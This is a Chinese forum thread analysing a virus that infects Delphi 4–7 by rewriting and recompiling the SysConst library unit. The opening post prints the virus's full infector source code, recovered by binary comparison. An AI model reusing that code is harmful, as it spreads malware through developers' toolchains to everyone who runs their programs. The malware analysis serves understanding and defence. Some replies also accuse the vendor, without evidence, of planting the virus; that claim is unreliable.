首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > .NET > .NET >

关于sysconst病毒的一点分析解决方法

2012-03-01 
关于sysconst病毒的一点分析剪刀老大威逼的……本来想用OD+IDA的,后来想想,这里不是汇编板块,为了让大多数同

关于sysconst病毒的一点分析
剪刀老大威逼的……本来想用OD+IDA的,后来想想,这里不是汇编板块,为了让大多数同行朋友能够看得懂,运用了一下傻瓜工具,RT。
  这个病毒运行原理如何,假设我们一概不知,但我们可以用类似黑盒的方法检测出来,比如用Filemon这类的工具,检测这个EXE到底做了哪些操作,监视记录日志已经上传到CSDN资源上面,大家可以到这个页面下载
  http://download.csdn.net/source/1611684
  具体来说,这个病毒会做如下事情:
1、运行,读取注册表,找出Delphi的安装目录(这样一来,对2000+就没有威胁了,因为安装信息不会保存在注册表当中)
2、找到安装目录下lib文件夹,查找sysconst.bak文件,如果是感染过的(有这个文件),就没有什么动作,else,恩恩
3、如果未被感染,病毒会读取C:\Program Files\Borland\Delphi7\source\rtl\sys\SysConst.pas(通过注册表获取路径,我的电脑上是这样的),并且在指定偏移位置写入字符串。
4、把那个倒霉蛋sysconst.dcu(我是好人啊……)改成bak后缀名,逐出门墙,欢迎新人到来。
5、调用dcc32编译器,带参编译,生成新的带毒的sysconst.dcu
6、暗度陈仓,还要毁灭证据才行,删除sysconst.pas,避免被发现
7、大功告成,同步一下时间戳,天衣无缝……
  以上就是病毒全部的行为,至于病毒写了些什么,不妨接着往下看。
  接下来利用DeDeDark,这可是反汇编Delphi的好东西,当然我们不需要反汇编,我们只需要查看一下PE结构即可
 
  这是未被感染的EXE的PE结构
 
  这是被感染后的EXE的PE结构
  从这两图当中可以看出,被感染后,PE文件的data段和idata段都被写入了信息,因此占用的空间变大了,不过,究竟写入了什么,还是得求助Winhex这类16进制查看工具。
  Winhex载入被感染的EXE和干净EXE相比对,很快就发现此处有问题:
 
  里面写入了一些乱七八糟的字符串,这个相当于作者的开源方法?由于是采用字符数组保存,所以看得到明文。梳理一下还是一段代码:

Delphi(Pascal) code
function x(s:string):string;var     i:integer;begin     for i:=1 to length(s) do         if s=#36 then s:=#39;    result:=s;end;procedure re(s,d,e:string);var    f1,f2:textfile;    h:cardinal;    f:STARTUPINFO;    p:PROCESS_INFORMATION;    b:boolean;    t1,t2,t3:FILETIME;begin    h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);    if h<>DWORD(-1) then    begin        CloseHandle(h);        exit;    end;    {'I-}assignfile(f1,s);    reset(f1);    if ioresult<>0 then        exit;    assignfile(f2,d+'pas');    rewrite(f2);    if ioresult<>0 then     begin         closefile(f1);         exit;     end;    while not eof(f1) do    begin        readln(f1,s);        writeln(f2,s);        if pos('implementation',s)<>0 then        break;    end;    for h:= 1 to 1 do        writeln(f2,sc[h]);    for h:= 1 to 23 do        writeln(f2,''''+sc[h],''',');    writeln(f2,''''+sc[24]+''');');    for h:= 2 to 24 do        writeln(f2,x(sc[h]));    closefile(f1);    closefile(f2);    {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));    fillchar(f,sizeof(f),0);    f.cb := sizeof(f);    f.dwFlags := STARTF_USESHOWWINDOW;    f.wShowWindow := SW_HIDE;    b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);    if b then        WaitForSingleObject(p.hProcess,INFINITE);        MoveFile(pchar(d+'bak'),pchar(d+'dcu'));        DeleteFile(pchar(d+'pas'));        h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);        if h=DWORD(-1) then        exit;        GetFileTime(h,@t1,@t2,@t3);        CloseHandle(h);        h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);        if h=DWORD(-1) then        exit;        SetFileTime(h,@t1,@t2,@t3);        CloseHandle(h);    end; procedure st;var     k:HKEY;    c:array [1..255] of char;    i:cardinal;    r:string;    v:char;begin    for v:='4' to '7' do    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 thenbegin    i:=255;    if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then    begin        r:='';        i:=1;        while c<>#0 do        begin            r:=r+c;            inc(i);        end;        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');    end;    RegCloseKey(k);end;end;beginst;end.


[解决办法]
1f
[解决办法]
学习一下!
[解决办法]


up
[解决办法]
牛人啊!
[解决办法]
听说这个病毒只感染D4~7版本.
[解决办法]
大力顶一下
[解决办法]
学习
[解决办法]
对病毒一敲不通
[解决办法]
病毒都会,厉害,厉害
[解决办法]
看不太懂,顶!
[解决办法]
bs楼主20分
[解决办法]
学习
[解决办法]
在这里转转一不小心就要有犯罪的想法
[解决办法]
偶是来看高手的
[解决办法]
学习了~~
[解决办法]
顶一个
[解决办法]
顶一个
[解决办法]
学习学习
[解决办法]
强贴留名
[解决办法]
Delphi/C++Builder后续版本中,安装信息在注册表中仍可查询,只不过键值从Borland换成了CodeGear,所以这个恶意程序不感染后者。不过很显然,把这个恶意代码略修改一下就可以了通吃了。
[解决办法]

探讨
细节其实不重要,重要的是这种创新的传播方式

[解决办法]
看强人的贴
[解决办法]
都是高手
[解决办法]
学习下
[解决办法]
学习
[解决办法]
那段代码不就是之前看过的?
[解决办法]
学习了
[解决办法]
还好,只是恶作剧型的病毒。
[解决办法]
强帖..
[解决办法]
学习!
[解决办法]
高手
[解决办法]
学习 了 恶作剧型 病毒
[解决办法]
看不懂,成高手了在来研究下
[解决办法]
回帖 得分
[解决办法]
本来delphi的行情就不好了,还这么来一下
半桶水的客户就更加要排斥delphi了。。。。。。。。。。
[解决办法]
把lib文件夹改为只读,应该可以避免被感染把
------解决方案--------------------


楼主的功底真让人佩服。

不过这个病毒有一点让人很疑惑,为什么只感染D4到D7的版本?就如妖哥所言,要感染D2000+版本也是一样方便的。

原本没关注这个病毒,也没注意这个帖子,但是现在仔细一想,这里面似乎包含着很多阴谋。如sz_haitao朋友所言,本来delphi的行情就不好,为什么还有人要拿delphi开刀?甚至针对的是低版本的delphi?而这低版本的delphi中,客户使用量最大的也就是D7吧,还包括一部分D6的。

基于行为学的观点,病毒的作者进行这样一种举动,肯定是有目的的。我们要想查清楚作者的目的,基本是不可能的,但是可以肯定的是,作者本人没有得到任何利益。那么这场病毒过后,谁是最大的受益者?联系到很多人说起的骚扰电话,不用我说,大家也应该知道了吧?就是现在收购delphi的那家公司!很抱歉我不知道它的名字,因为我也没兴趣知道。 delphi最近今年出了很多版本了,但是现在客户使用量最大的、最经典的依然是D7,这是公司最不愿意看到的事情。大家一直用老版D7,他们赚谁的钱?所以必须对老版使用者下手了,既然电话敲诈、官司等已经吓唬不了客户,那就只有从电脑中解决了。把你的D7黑掉,让你开发的软件都带毒,你就不敢再用了吧?再买便宜的正版D7?买回来照样中毒!就逼着你去买新版的、昂贵的D2009或D2010,这样就安全了,病毒侵害不到你了,我们的新版产品也就有销路了。

当然以上只是我个人的猜测和YY,希望这不是真的。否则的话,以后就不是delphi找别人打官司了,而是别人来找它打官司
[解决办法]
顶,好贴,~!!!!!!
[解决办法]
幸亏暂时没有什么危害
[解决办法]
这里好多牛人啊!佩服!

这个病毒让我所有的exe文件都被删了,我杀毒,改sysconst.dcu,然后全部重新编译。搞了很久才搞好。
[解决办法]
高人!!佩服!
[解决办法]

探讨
楼主的功底真让人佩服。

不过这个病毒有一点让人很疑惑,为什么只感染D4到D7的版本?就如妖哥所言,要感染D2000+版本也是一样方便的。

原本没关注这个病毒,也没注意这个帖子,但是现在仔细一想,这里面似乎包含着很多阴谋。如sz_haitao朋友所言,本来delphi的行情就不好,为什么还有人要拿delphi开刀?甚至针对的是低版本的delphi?而这低版本的delphi中,客户使用量最大的也就是D7吧,还包括一部分D6的。

基于行为学的观点,病毒的作者进行这样一种举动,肯定是有目的的。我们要想查清楚作者的目的,基本是不可能的,但是可以肯定的是,作者本人没有得到任何利益。那么这场病毒过后,谁是最大的受益者?联系到很多人说起的骚扰电话,不用我说,大家也应该知道了吧?就是现在收购delphi的那家公司!很抱歉我不知道它的名字,因为我也没兴趣知道。 delphi最近今年出了很多版本了,但是现在客户使用量最大的、最经典的依然是D7,这是公司最不愿意看到的事情。大家一直用老版D7,他们赚谁的钱?所以必须对老版使用者下手了,既然电话敲诈、官司等已经吓唬不了客户,那就只有从电脑中解决了。把你的D7黑掉,让你开发的软件都带毒,你就不敢再用了吧?再买便宜的正版D7?买回来照样中毒!就逼着你去买新版的、昂贵的D2009或D2010,这样就安全了,病毒侵害不到你了,我们的新版产品也就有销路了。

当然以上只是我个人的猜测和YY,希望这不是真的。否则的话,以后就不是delphi找别人打官司了,而是别人来找它打官司

[解决办法]
边学习边顶顶顶
[解决办法]
每天回帖即可获得10分可用分!
[解决办法]
up
[解决办法]
关于这个病毒
请看国外的专人分析:
http://www.felix-colibri.com/papers/delphi/delphi_induc_a_virus_anatomy/delphi_induc_a_virus_anatomy.html
[解决办法]
高手
[解决办法]
牛人啊 佩服佩服啊
[解决办法]
上了一課。。。
[解决办法]
UP
[解决办法]
学习了学习了~

[解决办法]
路过
[解决办法]
学习。
[解决办法]
up
[解决办法]
中招了!学习
[解决办法]
赞一下,楼主厉害!!
顶上去!!
[解决办法]

[解决办法]
很NB~~~

[解决办法]
不知道中了没
[解决办法]
请问下楼主,要看懂你这篇帖子需要学习什么知识。
比如编译原理。汇编。还有什么呢?
[解决办法]
连16进制都能看得懂太牛逼了吧
[解决办法]
不懂……
[解决办法]
哎呀.真厉害.
[解决办法]
JF
[解决办法]
我顶,这玩意没做啥坏事,善意的玩笑和提醒吧
[解决办法]
哎 病毒害人。。。。
[解决办法]
顶、 
http://www.xinkeor.cn/?11604-1.html
[解决办法]
up
[解决办法]
不懂啊
不过LZ分析成这样 应该就是传说中的高手了
[解决办法]
这个看起来像是恶作剧。别的不感染非要去感染库,Delphi程序员独享之病毒。
[解决办法]

探讨
细节其实不重要,重要的是这种创新的传播方式

[解决办法]
我走的另一条路 你们的回复我都搞不懂 不过还是受益匪浅了

[解决办法]
up
[解决办法]
想避免再次感染其实也很简单,把好的pas文件放在编译路径最顶层就好了,只是简单设置一下编译路径,病毒感染的那个文件也不会编译进来,病毒不攻自破。。。
[解决办法]
没懂。。。。收藏。。
[解决办法]
每天回帖有10分呢
[解决办法]
虽然看不懂但学习下部错
[解决办法]
支持原创!!
[解决办法]
探讨
引用:

这种推理太简单了。一个公司不敢这么搞的。除非他想死,如果有目的也是个人的行为。
看看现在的外资贿赂案就知道了。一个上市公司是不敢这么搞的。当然如果是在中国就另当别论了



很多时候,就是我们把简单的事情想复杂了。一个公司不敢这么搞?你见过微软的公司这么频繁的打恐吓电话嘛?你见过以前的宝蓝这么频繁的恐吓嘛?外资贿赂案,只是因为牵扯到国家的利益,所以才被这么严肃处理,如果只是牵涉个人,谁会插手这种事情?现在的中国,只要看看不久前的躲猫猫和俯卧撑,就知道什么事都有可能发生,有什么好奇怪的?

[解决办法]
顶一下
[解决办法]
这个病毒来的太突然了,怪不得前几天运行delphi程序卡巴就会报毒,删除了之后就出问题了。后来不得不把系统还原了,之后还是报毒。没办法就暂时没用了,今天网上一查,果然有好多人中此毒!哎.

热点排行